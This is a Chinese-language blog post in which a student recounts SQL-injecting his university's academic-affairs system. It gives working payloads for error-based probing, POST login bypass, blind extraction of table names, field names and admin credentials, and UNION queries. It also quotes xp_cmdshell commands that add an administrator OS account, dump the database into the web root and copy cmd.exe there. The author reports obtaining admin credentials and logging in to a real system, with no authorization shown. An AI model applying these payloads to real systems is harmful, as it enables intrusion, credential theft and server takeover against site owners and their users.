关于SQL注入的一点思考和总结

终于考完试了,又可以继续我的渗透之旅了。昨晚通宵和Lucas把今年暑假成都的信息安全竞赛的文档给整理了,貌似这是自从大一那次通宵一来第一次通宵了。

ISCC的比赛到10号就结束了,暑假到北京绿盟去决赛应该没问题了,所以这段时间针对WEB渗透和Buffer OverFlow作了很多练习,主要是SQL注入。整个过程实在太蛋疼了,感觉sql注入实在不是一件简单的事,期间各种纠结,突然有种感觉sql注入之所以这么复杂是因为变化太多了,针对不同的数据库,不同的开发语言,不同的编码风格,甚至还遇到了蛋疼的WAF过滤就会有不同的渗透方案,就像孙子兵法上写的:知己知彼,因地制宜之类的。

这段时间和郭子,小豪一直在作教务处的渗透测试,这里对这段时间的学习和渗透做一个总结吧,包括对江大教务系统和正方系统的渗透经历,还有从各种博客和论坛上看到的牛人帖子,希望能对其他人有一点借鉴作用。

好!废话不多说,开始我们的SQL注入之旅。

1.  踩点

我选择的目标是学校的教务系统 http://jw.******.edu.cn/index.asp,在开始sql注入之前我先进行了一下踩点,这步主要有几个目标:

1)判断目标主机是否有sql注入漏洞,发现sql注入的位置

一般来说,sql注入一般存在于形如:http://jw.******.edu.cn/NewsInfo.asp?id=1429 等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数。

找到可能的注入点之后,就要开始进行一些试探,对这种技术我的理解是本质上是利用了ASP, PHP等程序的报错机制,即人工构造以一种输入,使原本的正常的程序流出现错误,而如果coder在写代码的时候没有做防御型编程 try catch之类的,就有可能导致错误信息显示,从而暴露一些数据库信息,这么说比较抽象,我们拿一条典型的sql语句作比方。

select * from  admin where id = 1234($id);

如果我们在输入的时候多加一个单引号  http://jw.********.edu.cn/NewsInfo.asp?id=1429' 就会导致 select * from  admin where id = 1234' 运行异常。

从报错的结果可以看出,教务处的服务器使用的数据库是Access数据库(这里有点蛋疼,貌似教务处的某些页面没有纳入WAF防御体系,有些奇怪)

如果为了进一步确认注入点的真实性,可以构造下面的输入:

http://jw.****.edu.cn/NewsInfo.asp?id=1429 and 1=1

http://jw.****.edu.cn/NewsInfo.asp?id=1429 and 1=2

经过以上的踩点,现在我们基本可以确认sql注入点的存在了。

(2)区分数据库服务器类型

这一步也很重要,因为在文章的开头就提到了,sql注入是个因材施教,因地制宜的技术。必须根据不同的数据库,不同的开发语言进行构造输入语句,才能有针对性的进行注入渗透,我们这里情况算比较好了,在第一步踩点的时候就探出了数据库类型是Access,如果第一步不能得到这些信息,我们也有方法。 下面是摘自ISCC的一段技术博文。

一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T - SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、 利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

好!看到这里,我必须再重提一下本文的主题:SQL注入的精髓是因地制宜,在不同的环境中要具体情况具体分析,还要牢记的是巧妙的运用数据库的报错信息(如果有的话)这两条原则。

我们回到我们的案例:教务系统。

前期用nmap扫描,发现了教务的一个老的后台登入界面,这个界面貌似没有做输入过滤,也没有WAF防御:

 

 首先,我的思考方向应该是这次的sql注入应该是POST注入,因为是表单登入。

我们的目标是通过POST注入,获得数据库版本等信息。

发现如果改变用户名的输入:admin' or '1'='1,弹出的消息是密码错误,而直接随便输一个帐号random,则弹出帐号不存在。说明了这个登入页面没有对输入进行过滤。

为了加快手工注入的速度,这里我使用WebScarab这款java程序,手工构造POST数据包。

对sql语句在注入前进行URL编码
admin' or (select count(*) from sysobjects)>0
admin%27+or+%28select+count%28*%29+from+sysobjects%29%3E0%3B--
二值逻辑返回期望结果,即密码错误,说明帐号是对的(这个逻辑一定要搞清楚),证实是sqlserver数据库

这里要注意的一点是:URL编码,刚开始的时候忘记编码了,结果一直不对。如果是手工构造数据包一定要记得URL编码。

2. 构造sql语句爆出数据表和记录

接下来,我们需要知道数据表等信息。

admin' or user>0;--
admin%27+or+user%3E0%3B--
不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
爆出当前数据库用户名(指登入这个数据库的用户名):jw
这里利用了之前说的报错逻辑,我们的命令是让数据库判断user和0的大小,但是user是string,而0是int。强制类型转换会出错,所有就间接得到了我们要的结果

这就是巧妙利用错误报错的机制,下面的思路也是类似的。

admin' or db_name()>0;--
admin%27+or+db_name%28%29%3E0%3B--
不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名
爆出当前数据库名(对应这个服务的数据库的名称):jxgl

开始爆破表名:
admin' or (select count(*) from users)>0;--
admin%27+or+%28select+count%28*%29+from+user%29%3E0%3B--
返回了期望结果,表名很可能是: users

开始爆破字段名:
admin' or (select count(xh) from users)>0;--
admin%27+or+%28select+count%28xsxh%29+from+users%29%3E0%3B--
字段:
xh
kl


开始爆破表中第一天记录的值(因为这很有可能就是管理员的帐号信息)
admin' or (select top 1 len(xh) from users)>0;--
admin%27+or+%28select+top+1+len%28xh%29+from+users%29%3E0%3B--
从0到10一个个试
在3的时候卡住,所有xh的长度为:  3位
在7的时候卡住,所有xh的长度为:  7位
继续
admin' or (select top 1 ASCII (SUBSTRING(xh,1,1)) from users)>0;--
admin%27+or+%28select+top+1+ASCII+%28SUBSTRING%28xh%2C1%2C1%29%29+from+users%29%3E0%3B--

xh:wjj
kl:********(是一个7位的数字,这里不方便透露了,有兴趣的可以自己手工或者用sqlmap爆出来)

到这里,我们针对这个页面的的sql注入基本算是成功了,即得到了管理的帐号和密码。

但是蛋疼的是,这个页面貌似是一个老的页面,已经不用了,所以这个帐号没法登入到真正的后台,登入后又弹出一个新的界面,这个才是真正的后台..............当时还以为已经成功了,汗,白高兴了一场。

后来,是郭子发现了教务处前台的某些页面存在过滤不当的现象,可以使用UNION思路进行sql注入

在输入的后面加上 union+(select+1,2,3,4,5,6+from+admin)这种联合查询语句,能够得到管理的帐号和密码。这让我感觉一下子大开了眼界,原来一直忘了还有联合查询这一招。

关于UNNION查询,我的理解是这样的:

在输入union+(select+1,id,3,password,username,6+from+admin)
的时候,发现页面上原来显示其他字段的地方出现了不同的字样,原理是这样的,union需要相同数量的字段进行联合查询,然后会覆盖到原来的指定区域
所以这里的关键是根据返回结果的变化试出表中的字段名,而且在联合查询中所选定的两个数据表或查询中的列数必须要匹配。
因为在union查询中,union的字段数必须和原来的的一样才行,也就是说,我们可以根据这个二值逻辑(还是利用错误报错机制),试出表名,字段数,字段名信息,因为只有当这些项都正确时,页面才能显示正常,相关区域才会有值。

通过构造正确的union查询语句,成功得到了管理员的帐号和密码。

登入成功!

3. sql提权

这一步的情况比较难实现,因为经过我的实验,大部门的数据库软件在安装的时候都默认关闭了cmd执行权限。

下面是ZDNet上的一篇帖子:

若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、 HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
5、 HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:inetpubwwwrootsave.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

 

 

以上就是渗透教务处的过程,感觉sql注入真的是一门大学问,这方面的经验太少了,要真正掌握sql注入的精髓还需要多多研究,总结。SQL注入的研究暂时先搁到一边,赶紧把0DAY给看完,估计到了决赛会用到很多那本书上的知识。

本来想继续写渗透学校正方成绩系统的和WAF绕后的一些感悟的,无奈东西太多了,还是分开来研究吧,过段时间再写篇关于WAF绕过方面的SQL注入的文章。希望能把易玲大神的那几篇文章通读几篇,还有几个国外的将WAF绕后的,做一个总结。

最后,希望今年暑假的ISCC绿盟之旅能好好发挥,多向那些大神学习。

 

posted @ 2013-06-08 14:45  郑瀚Andrew  阅读(4919)  评论(30编辑  收藏  举报